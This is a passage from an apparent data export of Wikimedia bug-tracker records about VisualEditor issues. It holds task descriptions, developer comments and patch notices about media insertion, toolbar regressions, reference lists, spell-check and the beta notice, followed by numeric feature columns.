+https://gerrit.wikimedia.org/r/133858",,,1400280097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0
+235598,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Created attachment 15419
+Screenshot
+
+**Attached**: {F11195}",,,1400268429,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235592,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"The message ""No results found"" stays in the dialog even if user changed the search string and the matched images appear inside the dialog.See the screenshot attached",,,1400268400,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+235585,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133050 merged by jenkins-bot:
+If no media is found display a message in media insert dialog
+
+https://gerrit.wikimedia.org/r/133050",,,1400109025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235579,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133050 had a related patch set uploaded by Mooeypoo:
+If no media is found display a message in media insert dialog
+
+https://gerrit.wikimedia.org/r/133050",,,1399963305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235572,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"WhatamIdoing, there is a design that has not been implemented yet for the image dialog that allow quick access to users uploads, perhaps in the case of zero search results, we can automatically show that mode.",,,1391711753,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,31,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+235565,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,*** Bug 60932 has been marked as a duplicate of this bug. ***,,,1391659253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,True,,,31,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235561,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Given the fact that users often want to add the image that they just uploaded, and that Commons's search is fairly often taking a couple of days to ""notice"" that these images exist, the default message on wikis that use Commons should say something like ""No image was found.  If you just uploaded an image with this name, this may be due to the image not being indexed in Commons's search database yet.  Please try again in a couple of days.""
+
+It might also be worth linking to a help page that describes limitations in the search protocol.  For example, it will find images if I give it the whole name (""2013AliceAndBob"") but not if I give it just the start of the name (""2013Alice"").",,,1376588485,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,6,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+54460,VisualEditor:  Inserting media when text is selected should not overwrite text,"When a user tries to inset an image or other media while they have text selected, the text is replaced by the media. This probably is not what they want and is contrary to how the transclusion editor works (inserts the template after the selected text).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375459440,1378335667.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+235386,VisualEditor:  Inserting media when text is selected should not overwrite text,"Change 82463 merged by jenkins-bot:
+Insert images after selection, not in place of it
+
+https://gerrit.wikimedia.org/r/82463",,,1378335605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+235380,VisualEditor:  Inserting media when text is selected should not overwrite text,"Change 82463 had a related patch set uploaded by Trevor Parscal:
+Insert images after selection, not in place of it
+
+https://gerrit.wikimedia.org/r/82463",,,1378240685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+54441,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"As of recently the toolbar no longer goes in/out of floating mode after opening an inspector. It will stay in whatever position it was (fixed/absolute, top/left/right/height)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52504",High,80.0,1375424760,1375475301.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5butgjmyg5i25tvyzxlh,task_description,resolved,True,c1,3,True,False,True,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+234329,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52739 has been marked as a duplicate of this bug. ***,,,1376521783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234323,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52789 has been marked as a duplicate of this bug. ***,,,1376476088,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234316,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52433 has been marked as a duplicate of this bug. ***,,,1375991502,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234310,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52326 has been marked as a duplicate of this bug. ***,,,1375936189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234304,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Now fixed in the code; next scheduled deployment is not until 15 August,
+however. :-(",,,1375475301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234297,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Change 77274 merged by jenkins-bot:
+ve.ui.Toolbar: Use closure instead of ve.bind for event handlers
+
+https://gerrit.wikimedia.org/r/77274",,,1375439587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234287,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Change 77274 had a related patch set uploaded by Krinkle:
+ve.ui.Toolbar: Use closure instead of ve.bind for event handlers
+
+https://gerrit.wikimedia.org/r/77274",,,1375429015,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234279,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"After much debugging (filed the bug only now), I figured out what caused it:
+
+The target toolbar continues to have toolbar.floatable === true. That never gets disabled by anything, so that's good.
+
+What happens is that the toolbar inside the context menu, twice, gets called disableFloatable on. Though that is a separate instance, independent, there is 1 place where it effects global state unfortunately: the $window handlers.
+
+The prototype is inherited by each instance, naturally, which means toolbarA.onWindowScroll === toolbarB.onWindowScroll. So when we pass them to $window.off to unbind by reference, it does exactly what you (now) expect, thus also breaking it for other toolbars.
+
+However that's not what's happening, actually, because we (of course) want each toolbar to have the event bound to the exact instance of ve.ui.Toolbar, and we do so by using ve.bind.
+
+Which means toolbarA.windowEvents.scroll is a unique closure, separate from toolbarB.windowEvents.scroll. That is what makes it work. So why does it fail?
+
+Well, jQuery.proxy (=== ve.bind) is so nice for us that it tacks a guid property on the function reference to make sure that when binding a function to a scope, we can still identify it. This e.g. makes the following possible:
+
+ 1: $foo.on( 'scroll', $.proxy( myHandler ) );
+ 2: $foo.off( 'scroll', myHandler );
+ 3: // or alternatively, though useless:
+ 4: $foo.off( 'scroll', $.proxy( myHandler ) );
+
+jQuery's event system uses this same guid (when present) to unbind a method.
+
+So the first time we call ve.bind in a ve.ui.Toolbar construction, a guid is added to #onWindowScroll.. And the second time it just uses the same guid again (which makes line 4 above work). It does still make a new closure, so there's no problem with the second one being given a cached closure or something that refers to the first instance, nothing like that.
+
+However we very much don't want this. We need each one to be unique not just by reference and context bound, but no shared guids.
+
+Finally, why did this break only recently? Well, before 14343c7bf7 toolbar.$window was null by default and stayed that way until enableFloating was called. So the call to disableFloating for the context menu toolbar did nothing.
+
+14343c7bf7 refactored the code to always need a toolbar.$window during initialisation, and for efficiency kept the instance around as to not create/destroy it each time.
+
+So though 14343c7bf7 introduced the bug being more visible, the problem was already in the code. Both then and now, when enableFloating is called and then disableFloating, the disableFloating unbinds all window events for effectively all toolbars.
+
+
+Also:
+- During debugging I found that we're calling disableFloatable *twice* on the context menu toolbar (once when the inspector is opened and again when we close it). That should be optimised to one. Or better, don't call it at all since it is disabled by default.",,,1375428640,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,4,,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+54427,VisualEditor: references in image captions are not included in reflists,"Similar to bug 51289 and bug 52398 references that are defined in image captions do not appear in reflists. Example at [[Radiocarbon dating]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52398
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50459",High,80.0,1375398120,1384844452.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+233531,VisualEditor: references in image captions are not included in reflists,"Re-setting as FIXED, and have raised the regression as bug 57228.",,,1384844452,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+233527,VisualEditor: references in image captions are not included in reflists,"<<[...] the references 20 and 21 in https://en.wikipedia.org/wiki/Baruch_Spinoza?veaction=edit which are in image captions disappear from the references list in VE and the numbering becomes discombobulated. Win7 FF 24.0 Monobook. --Atethnekos (Discussion, Contributions) 05:42, 12 November 2013 (UTC)>>.",,,1384812491,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+233523,VisualEditor: references in image captions are not included in reflists,"Change 77346 merged by jenkins-bot:
+Only skip past empty keyedNodes sets if key exists
+
+https://gerrit.wikimedia.org/r/77346",,,1375469746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233519,VisualEditor: references in image captions are not included in reflists,"Change 77346 had a related patch set uploaded by Esanders:
+Only skip past empty keyedNodes sets if key exists
+
+https://gerrit.wikimedia.org/r/77346",,,1375461230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233516,VisualEditor: references in image captions are not included in reflists,"**kwwilliams** wrote:
+
+52300 may also be related.",,,1375399091,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+54372,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=566679647#Spellchecking_wikilinks_causes_odd_behavior en.wp editor Cryptic C62 has identified that spellchecking links causes inconsistent and apparently unpredictable behaviour. Undoing that change sometimes introduces another layer of inconsistent behaviour.
+
+On some occasions both correcting the spelling and undoing it works as it should, but there are at least six types of undesired behaviour where some or all of the link is unlinked. 
+
+Detailed examples are at the above link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375343460,1398187598.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-svgbuubly7i37677eqfj,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0
+255215,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"
+
+*** This bug has been marked as a duplicate of bug 50822 ***",,,1398187598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-svgbuubly7i37677eqfj,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+255205,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"**crypticc62** wrote:
+
+I've found that a similar problem occurs with Chrome on an iPad 3, though with very different results. In this environment, the spellcheck seems to work fine, but undo causes the original string to be appended to the new string, rather than replacing it.",,,1375672513,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-svgbuubly7i37677eqfj,task_subcomment,,True,c1,3,False,,,5,,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+54366,VisualEditor: Make beta notice more prominent,"The current beta notice for VisualEditor is currently easy to miss. While it uses a circled ""?"" and the text ""BETA"", it can blend in with the rest of the VisualEditor editing interface pretty easily (I only really noticed that there was any kind of warning today).
+
+The notice that VisualEditor is beta software should be made more prominent.
+
+James has suggested showing a more prominent notice for first-time VisualEditor users (presumably based on a cookie).
+
+My preference is to make the notice dismissable (using a hidden user preference).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375328880,1375423690.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ycfuexv2jknnm72vmgj2,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0
+254893,VisualEditor: Make beta notice more prominent,"We've now made a modal dialog pop up warning the user about the beta status of VisualEditor, and labelled VisualEditor as ""beta"" on its edit tab (and the edit section links that launch it).
+
+I'm going to presumptively (;-)) mark this as ""fixed"", but please re-open if you think we should do more.",,,1375423690,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ycfuexv2jknnm72vmgj2,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+54355,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch","One of the pain points we're seeing is that disabling VisualEditor is cumbersome. Even though there's now a user preference to disable the software, going to [[Special:Preferences]] is disruptive to user workflow.
+
+James and I discussed the possibility of adding a switch to the user interface to enable or disable VisualEditor.
+
+This switch might be located in the personal tools section, it might be a sidebar section, or it might be elsewhere. It should be viewable from ?action=view, ?action=edit, and ?veaction=edit.
+
+This switch might affect only VisualEditor or it might affect all ""beta"" features deployed to Wikimedia wikis.
+
+This switch will be available to both logged-in users and anonymous users.
+
+I believe this is a high priority bug to address.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54862",High,80.0,1375306080,1392032698.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+254366,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch",BetaFeatures is in place for this now.,,,1392032698,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254364,"VisualEditor (and possibly other beta tools) need an exposed, easy-to-use on/off switch","Hi MZMcBride, a desktop framework for beta testing features is already underway[1}, although it was originally envisioned for smaller experiments we can certainly think about the idea of leveraging it for larger pieces of functionality as well. 
+
+
+[1] http://www.mediawiki.org/wiki/Beta_Experiments",,,1375314628,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-rk7rg7s3j76gm4lymrcv,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+54339,VisualEditor: Selection highlighting breaks if an inline alien wraps,"wrapped inline alien: incorrect highlighting in chromium
+
+If an inline alien gets word wrapped, then selecting it leads to incorrect highlighting.
+
+Reproducing: make a <tt> ... </tt> with enough content to word wrap. Select with the mouse (or use CTRL+A).
+
+In chromium, the highlighter erroneously draws a box enclosing the first character and the last (see first attachment).
+
+In firefox, the highlighter erroneously highlights to the end of the first line only (see second attachment).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11839}",High,80.0,1375299180,1403060255.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-27y3ao6udiwcetvc5juo,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
